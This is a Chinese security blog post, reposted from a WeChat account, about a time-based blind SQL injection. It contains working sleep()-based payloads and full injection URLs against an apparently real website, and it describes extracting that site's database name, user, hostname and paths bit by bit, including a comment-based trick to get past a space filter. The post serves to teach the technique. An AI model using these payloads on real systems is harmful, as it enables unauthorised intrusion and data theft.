记一次当时不会,事后特别后悔,复盘奇葩SQL时间延迟盲注
Sleep()函数内置查询注入
Payload: if(now()=sysdate(),sleep(5),0)
漏洞验证:
https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(5)%2C0)
延迟了10秒
https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(6)%2C0)
延迟了12秒
https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(7)%2C0)
延迟了14秒
now()返回的时间是SQL语句执行的时间,无论在一次SQL语句中now()函数被执行多少次.即SQL开始执行的时间.
sysdate()返回的时间是函数执行的时间,
通过上面的payload测试可以延迟函数被执行了两次中执行了2次
获取当前数据库的库名长度
https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate(),sleep(length(database())),0)
8/2=4,所以当前数据库的库名长度为4个字符
获取数据库名ascii编码后第1位数值后对其再进行二进制编码后的数值的长度为14/2=7(字符)
生成注入字典payload
中心思想是把执行结果通过substr()函数逐个字符进行切割,然后ascii编码成长度为2或3的阿拉伯数字,在进行bin()二进制编码在通过函数成长度为6到7,在把二进制编码后的字符串通过substr()函数逐个字符进行切割,通过Sleep()延迟函数执行0、1的方式向前台传递服务器信息。
当前数据库为deya
查看当前用户名为root@localhost
查看版本号
当时忘记加了判断特俗字符串和数字的判断
查看目标系统版本
Linuxzgli
查看主机名
ORAClEserve
获取数据库软件安装位置
/deya/cms/data/db/mysql
查表
利用条件是全部查询语句只能放在sleep()函数里面执行外带出来,且不能有空格。。。
问了好几个前辈都摇了摇头,结束之后本地靶机复盘测试,竟然查询成功
完整版exp如下:
用/**/规避空格执行报错问题
if numer == "0000000":
这行代码主要是判断字符是否为空
执行结果
主要就是递归枚举了这两个参数信息,来获取目标数据信息。
利用方式
把这个用for循环做个拼接,然后递归请求执行,执行响应的时间除以2,就可以得出结果。。。
结束
本文始发于微信公众号(黑白天实验室):复盘某奇葩SQL时间延迟盲注(1)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论